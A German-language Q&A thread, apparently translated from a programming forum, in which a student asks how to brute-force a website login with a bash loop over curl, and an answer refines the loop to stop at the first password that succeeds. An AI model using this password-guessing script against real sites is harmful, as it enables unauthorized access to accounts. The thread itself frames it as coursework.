Wie kann ich mich vom Terminal aus auf einer Website anmelden?

8

Als Student der Informatik lerne ich jetzt, mit der Kommandozeile zu arbeiten. Ich muss Brute Force anwenden, um mich auf einer Website anzumelden, wobei ich den Benutzernamen kenne und weiß, dass das Passwort eine Ganzzahl in einem bestimmten Bereich ist. Das habe ich bisher, aber es scheint nicht zu funktionieren.

 for i in {2000..3000}; do curl http://admin:[email protected]/link; done

Wie kann ich vorgehen?

Kabachok
quelle

Antworten:

6

Was Ihrer Routine fehlt, ist eine Möglichkeit zum Beenden, sobald die richtige igefunden wurde. Dazu können Sie sich den von curl zurückgegebenen Exit-Code ansehen:

for i in {2000..3000}
do 
  curl http://admin:[email protected]/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

Der Exit-Wert von curlist 0, wenn alles korrekt ist, und kann direkt nach dem Stoppen des Programms durch Überprüfen der speziellen Variablen überprüft werden $?. Verwenden Sie man curlund suchen Sie nach EXIT CODE, um all die verschiedenen Dinge zu sehen, die curlSie mit ihrem Exit-Code sagen können.

Anthon
quelle